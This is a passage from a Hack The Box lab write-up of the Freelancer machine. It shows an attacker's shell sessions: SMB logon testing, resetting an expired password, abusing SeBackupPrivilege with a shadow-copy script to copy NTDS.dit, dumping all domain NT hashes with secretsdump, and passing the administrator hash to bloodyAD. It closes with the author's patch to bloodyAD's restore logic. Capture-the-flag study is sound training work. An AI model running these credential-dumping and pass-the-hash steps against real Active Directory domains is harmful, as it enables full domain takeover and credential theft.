SMB 10.129.16.184 445 DC [-] freelancer.htb\liza.kazanof:RockYou! STATUS_LOGON_FAILURE
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u new.liza.kazanof -p 'RockYou!'
SMB 10.129.16.184 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.16.184 445 DC [-] freelancer.htb\new.liza.kazanof:RockYou! STATUS_PASSWORD_EXPIRED

the bloodyAD actually set the new sAMAccountName to new.liza.kazanof but the restore command from the AD module doesn't do that it just changes the DN and the Object name but keeps the SAM as is but because there is no conflict about the SAM account name we can restore it to liza.kazanof also this isn't a mandatory step but just to prove the point (we'll do that later from administrator cause lorra doesn't have write access over liza)

Shell as liza.kazanof

back to new.liza.kazanof we still don't get it we get that password expire so I assume that the password we got is the old one and lets change it

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ smbpasswd -r DC.freelancer.htb -U new.liza.kazanof
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user new.liza.kazanof

and we changed it, so lets test WINRM

and as you can see it worked and we have SeBackupPrivilege so lets dump the ntds using vsscopy

NTDS Dump

start with script

shell
(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ cat script.txt
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context persistent nowriters
add volume C: alias cdrive
create
expose %cdrive% E:
exit


(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ unix2dos script.txt
unix2dos: converting file script.txt to DOS format...

Using unix2dos cause the endline format differs between Linux and Windows and without it, it won't work most of the time

so uploaded the file and dumped it

now lets get the ntds using robocopy

now lets download it and use it with the SYSTEM HIVE we already got and dump the creds

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ secretsdump.py -ntds ntds.dit -system SYSTEM.save local
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x9db1404806f026092ec95ba23ead445b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 69f0afd7f9c47bac4a83dded01eb9dea
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:89851d57d9c8cc8addb66c59b83a4379:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d238e0bfa17d575038efc070187a91c2:::
freelancer.htb\mikasaAckerman:1105:aad3b435b51404eeaad3b435b51404ee:e8d62c7d57e5d74267ab6feb2f662674:::
sshd:1108:aad3b435b51404eeaad3b435b51404ee:c1e83616271e8e17d69391bdcd335ab4:::
SQLBackupOperator:1112:aad3b435b51404eeaad3b435b51404ee:c4b746db703d1af5575b5c3d69f57bab:::
sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
DATACENTER-2019$:1115:aad3b435b51404eeaad3b435b51404ee:7a8b0efef4571ec55cc0b9f8cb73fdcf:::
lorra199:1116:aad3b435b51404eeaad3b435b51404ee:67d4ae78a155aab3d4aa602da518c051:::
freelancer.htb\maya.artmes:1124:aad3b435b51404eeaad3b435b51404ee:22db50a324b9a34ea898a290c1284e25:::
freelancer.htb\michael.williams:1126:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::

as you can see it worked and we got the administrator hash but a different way

changing the SAM Account name back to liza.kazanof

as you can see setting the account name back to liza.kazanof

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ bloodyAD --host 10.129.16.184 -d freelancer.htb -u 'administrator' -p 'aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290' set object "CN=new.liza.kazanof,CN=Users,DC=freelancer,DC=htb" sAMAccountName -v liza.kazanof
[+] CN=new.liza.kazanof,CN=Users,DC=freelancer,DC=htb's sAMAccountName has been updated

and here you can see that it is back normally

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ bloodyAD --host 10.129.16.184 -d freelancer.htb -u 'administrator' -p 'aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290' get object liza.kazanof --attr 'sAMAccoun
tName'

distinguishedName: CN=new.liza.kazanof,CN=Users,DC=freelancer,DC=htb
sAMAccountName: liza.kazanof

just so you know that the issue wasn't with the sAMAccountName to begin with but it was in DN and the object name

BloodyAD source code

so lets take a look at the bloodyAD source code

there is an issue here and improvement

Issue 1

Without --newName, the code builds new_dn using lastKnownParent,If lastKnownParent was None or empty on the target object, the string formatting produces a broken DN like CN=Liza Kazanof,None which LDAP rejects. But before that rejection, the LDAP_SERVER_SHOW_DELETED_OID control was already active on the connection/session scope, and depending on the bloodyAD LDAP connection handling, that control may have persisted across the failed operation causing subsequent internal LDAP operations to see and accidentally touch deleted objects

Improvement 2

the restore function originally does this attributes["sAMAccountName"] = [(Change.REPLACE.value, newName)] which means it'll just stamp the new sAMAccountName with the given name unconditionally even if i don't need to change it unlike the restore-adobject function

Changes

so I made some changes which were

  1. added an early Guard before any LDAP modification is attempted
python
if not newParent and not entry.get("lastKnownParent"):
    raise ValueError("lastKnownParent is missing and no --newParent provided, cannot safely restore")

now this prevents the operation from reaching the LDAP layer entirely if the restore destination is unknown

  1. the improvement was that i changed the unconditional overwrite to a conditional check that will replace the original CN only if there is a live object taking that sAMAccountName which i think makes more sense (don't know the actual reasoning for the bloodyAD creator maybe he had a point but nothing is metnioned in code)
python
if entry.get("sAMAccountName"):
            old_sam = entry["sAMAccountName"]
            # Only update sAMAccountName if the original is already taken by a live object
            sam_conflict = None
            async for c in ldap.bloodysearch(
                ldap.domainNC,
                f"(&(sAMAccountName={old_sam})(!(isDeleted=TRUE)))",
                search_scope=Scope.SUBTREE,
                attr=["sAMAccountName"],
            ):
                sam_conflict = c
                break
            if sam_conflict:
                attributes["sAMAccountName"] = [
                    (
                        Change.REPLACE.value,
                        newName + "$" if old_sam[-1] == "$" else newName,
                    )
                ]
            # else: original sAMAccountName is free, preserve it

with all that being said, this might be the reason and might be the machine is broken at some state and there is no way to prove it, I mean i reset the machine one more time and it worked but i don't know is it because of my changes or machine was just fine

doesn't seem like anyone faced this issue cause everyone used Active Directory module

Resources